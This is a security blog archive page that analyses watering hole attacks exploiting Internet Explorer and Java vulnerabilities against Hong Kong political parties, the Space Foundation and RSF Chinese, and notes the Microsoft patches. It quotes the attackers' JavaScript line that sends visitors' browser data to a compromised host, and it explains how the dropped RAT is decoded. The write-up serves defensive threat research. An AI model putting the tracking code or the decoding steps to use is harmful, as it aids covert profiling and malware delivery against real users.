Tag Archives: Internet Explorer 0day

Watering Hole Campaign Use Latest Java and IE Vulnerabilities

Through a collaboration with (Jindrich Kubec (@Jindroush), Director of Threat Intelligence at avast! / Eric Romang (@eromang), independent security researcher), we can confirm that the watering hole campaigns are still ongoing, targeting multiple web high value web sites, including as example a major Hong Kong political party. We can also confirm that a second major Hong Kong political party is victim of this watering hole campaign.

This website is actually using the new version of the original Internet Explorer (CVE-2012-4792) vulnerability attack, patched in MS13-008, but right now it’s also using the latest Java (CVE-2013-0422) vulnerability, patched in Oracle Java 7 Update 11.

We will provide you further details on the affected web sites after their cleaning.

Chinese language version of the targeted web site is doing a remote javascript inclusion to “hxxp://www.[REDACTED].org/board/data/m/m.js“.

malicious-javascript-inclusion

This website is a legitimate compromised website used for hosting the exploit files, hosted in South Korea.

This include file uses the well-known “deployJava” function, aka “deployJava.js“, and creates a cookie “Somethingeeee” with one day expiration date. This cookie is quite strange and it’s also possible to find it in years old exploits, which suggests this is only a part of greater, long-going operation.

mt.html-file-2

If Internet Explorer 8 is used , an iframe is load from”hxxp://www.[REDACTED].org/board/data/m/mt.html” file. Otherwise and if Oracle Java is detected, an iframe will load “hxxp://www.[REDACTED].org/board/data/m/javamt.html“.

Analysis of “mt.html

mt.html” (d85e34827980b13c9244cbcab13b35ea) file is an obfuscated Javascript file which attempts to exploit the latest Internet Explorer vulnerability, CVE-2012-4792, fixed in MS13-008 and provided by Microsoft Monday morning.

https://www.virustotal.com/file/58588ce6d0a1e042450946b03fa4cd92ac1b4246cb6879a7f50a0aab2a84086a/analysis/ (avast detects this code as JS:Bogidow-A [Expl] through Script Shield component).

Comparing to the original CFR and Capstone Turbine versions, this code is not targeting certain browser supported language, but the code is based on the version used on CFR with “boy” and “girl” patterns.

Traditional “today.swf” has been replaced with “logo1229.swf” (da0287b9ebe79bee42685510ac94dc4f), “news.html” has been replaced with “DOITYOUR02.html” (cf394f4619db14d335dde12ca9657656) and “robots.txt” has been replaced with “DOITYOUR01.txt” (a1f6e988cfaa4d7a910183570cde0dc0). The traditional dropper “xsainfo.jpg” is now embedded in the “mt.html” file and obfuscated in the Javascript.

The executable file can be extracted from the string by cutting of first 13 characters, converting hex chars to binary and xoring the whole binary blob with 0xBF. Resulting file with SHA256 CE6C5D2DCF5E9BDECBF15E95943F4FFA845F8F07ED2D10FD6E544F30A9353AD2 is RAT which is communicating with a domain hosted in Hong Kong by New World Telecom.

Analysis of “javamt.html

javamt.html” (b32bf36160c7a3cc5bc765672f7d6f2c) is checking if Oracle Java 7 is present, if yes latest Java vulnerability, CVE-2013-0422, will be executed through “AppletHigh.jar” (521eab796271254793280746dbfd9951). If Oracle Java 6 is present, “AppletLow.jar” (2062203f0ecdaf60df34b5bdfd8eacdc) will exploit CVE-2011-3544. Both these applets contain the very same binary mentioned above (unencrypted).

javamt.html-file

Conclusion

As you see, the watering hole campaign still continues, but has evolved in form but also by using the latest Oracle Java vulnerability. There is just one advise: patch, patch, patch… and see you soon.

MS13-008 Patch Internet Explorer CVE-2012-4792 0day Vulnerability

As announced yesterday, in an advanced notification, Microsoft has release an out-of-band patch MS13-008 to fix the an Internet Explorer 0day , CVE-2012-4792, discovered exploited in targeted attacks against different organizations like Council on Foreign Relations (CFR.org), a foreign policy web group.

This vulnerability was acknowledged by Microsoft, in MSA-2794220, the 30 December, but was exploited in targeted attacks since minimum beginning December. Two weeks after the acknowledge, the patch is out and will fix this vulnerability in Internet Explorer 6, 7 and 8. So just, patch, patch, patch until the next Internet Explorer 0day found exploited in targeted attacks… See you in two or three months.

Microsoft Out-Of-Band Patch for Internet Explorer CVE-2012-4792 Vulnerability

Microsoft, announcing in an Advanced Notification, will release, this Monday at 10 a.m. PST, an out-of-band security update to address vulnerability CVE-2012-4792, who was actively exploited in the wild targeting different organizations like Council on Foreign Relations (CFR.org), a foreign policy web group. This vulnerability was acknowledged by Microsoft, in MSA-2794220, the 30 December, but was exploited in targeted attacks since minimum beginning December. So, like for Oracle Java 7 Update 11 release, I advise you to patch asap.

 

 

Forgotten Watering Hole Attacks On Space Foundation and RSF Chinese

As I announced you on Twitter, this blog post will present targeted attacks who have start mid-September and wasn’t discussed or presented in public. These attacks have end around mid-October.

A web site “arpeggio8.com“, hosted on 205.186.179.195 in US, was compromised in order to be used in a watering hole attack against Space Foundation and RSF Chinese.

The Space Foundation is a nonprofit organization that supports the global space industry through information and education programs. It is a resource for the entire space community – industry, national security organizations, civil space agencies, private space companies and the military around the world. It also supports educators, students and journalists with information and education programs.

Reporters Without Borders (RWB) is a French-based international non-governmental organization that advocates freedom of the press and freedom of information. Reporters Without Borders is also known as RSF, and RSF Chinese is a dedicated web site for Chinese news in Chinese language.

The watering hole attack was done through different files and by a dedicated centralized backend named “Jsbug“.

Description of the watering hole attack

Space Foundation and RSF Chinese web sites had they’re code a malicious javascript inclusion calling “http://www.arpeggio8.com/count/count.php“.

SpaceFoundation-RSFChinese-CVE-2012-4969

count.php” script provide javascript content who check the presence of “popad” cookie and if the browser is Internet Explorer 6, 7 or 8. This script also load “count2.php” who is used for another purposes, we will discuss about this file later. If all the conditions are in place “rsf.php” file is loaded with parameter “id=1024“.

rsf.php” script only provide content if parameter “id=1024” is present. This script load through an iframe call “ie.html” file. “rsf.php” is the equivalent of “exploit.html” in the CVE-2012-4969 0day found in mid-September.

ie.html” file is the equivalent of “Protect.html” in the CVE-2012-4969 0day found in mid-September, but here no Flash file is involved to do the heap spray. “ie.html” file is containing a packed javascript code how will do the heap spray and trigger the vulnerability. Pastebin encoded version and decoded version.

The javascript is decoded though the “decode” function and the key “0xe1” for decoding is provided as argument to the function. The javascript “int_to_hex” function will check if Oracle Java 6 is present, if operating system is Windows 7 or XP and if Internet Explorer 9 is used. The script will also gather the browser language.

decode

If Windows XP is used, and language is “en-us“, “zh-cn“, “zh-tw“, “ko” or “ja” (hum hum CVE-2012-4792…), then the vulnerability is triggered.

If Windows 7 is used and Java 6 is installed, then the vulnerability is triggered. A spray base value is provided in the code for Internet Explorer 9 , but “count.php” has filter the targeted browsers.

Once the vulnerability is triggered, “917.exe” (6b4aa596e5a4208371942cdb0e04dfd9) file is installed. This malware is known as “Trojan-Dropper.Win32.Dapato.bscc“.

A interesting point regarding “ie.html” file, this file was dating of 19 September.

rsf-ie-cve-2012-4969

Some facts regarding CVE-2012-4969 :

  • Vulnerability was discovered exploited in the wild, with a Flash variant, the 14 September.
  • Metasploit PoC was provided the 17 September.
  • Microsoft Security Advisory MSA-2757760 was published the 17 September.
  • Microsoft patch was provided in MS12-063 the 21 September.

But you will see, through the next chapter, that the attack has began the 18 September.

“count2.php” script and Jsbug backend usage

count2.php” script is loaded in any cases for statistics purposes. This script will create and check two cookies “stat_cookie” and “stat_time“, gather version of Adobe Flash, presence of Oracle Java and HTTP referrer. All these informations are send back to the same script with parameters.

http://arpeggio8.com/count/count2.php?n=’+Math.random()+’&action=jpg&stat_refer=’+escape(location.href)+’&stat_flash=’+escape(flashVer)+’&stat_java=’+escape(stat_java)+’&stat_cookie=’+stat_cookie+’&stat_time=’+stat_time;

All these informations are stored in a backend named “Jsbug“. This backend is quiet simple, only three menus “Client statistics“, “Report” and “Create Exploit“. The backend doesn’t have any external css or images files, and is typically composed of minimum three PHP scripts.

jsbug-backend-typical-files

Login page of the backend is also quiet simplistic, no page title, no text in the page, and this logic of simplicity make it harder to discover through Google searches.

jsbug-backend-login-page

Client statistics” menu will direct you on a recap page, of all visitors who have load “count2.php“, with OS type, browser type and version, version of Adobe Flash, version of Oracle Java, IP address, HTTP referer, number of visits, first visite and last visite date.

In the case of the Space Foundation watering hole attack, the first date are beginning 18 September.

jsbug-space-foundation-start

In the case of RSF Chinese watering hole attack, the first date are beginning 19 September.

jsbug-rsf-chinese-start

These attacks have ended around mid-October.

Report” menu will direct you on a statistics page, of all visitors.

jsbug-backend-stats

Create Exploit” menu is a page how will help the attackers to generate they’re javascript inclusion code.

jsbug-backend-create-exploit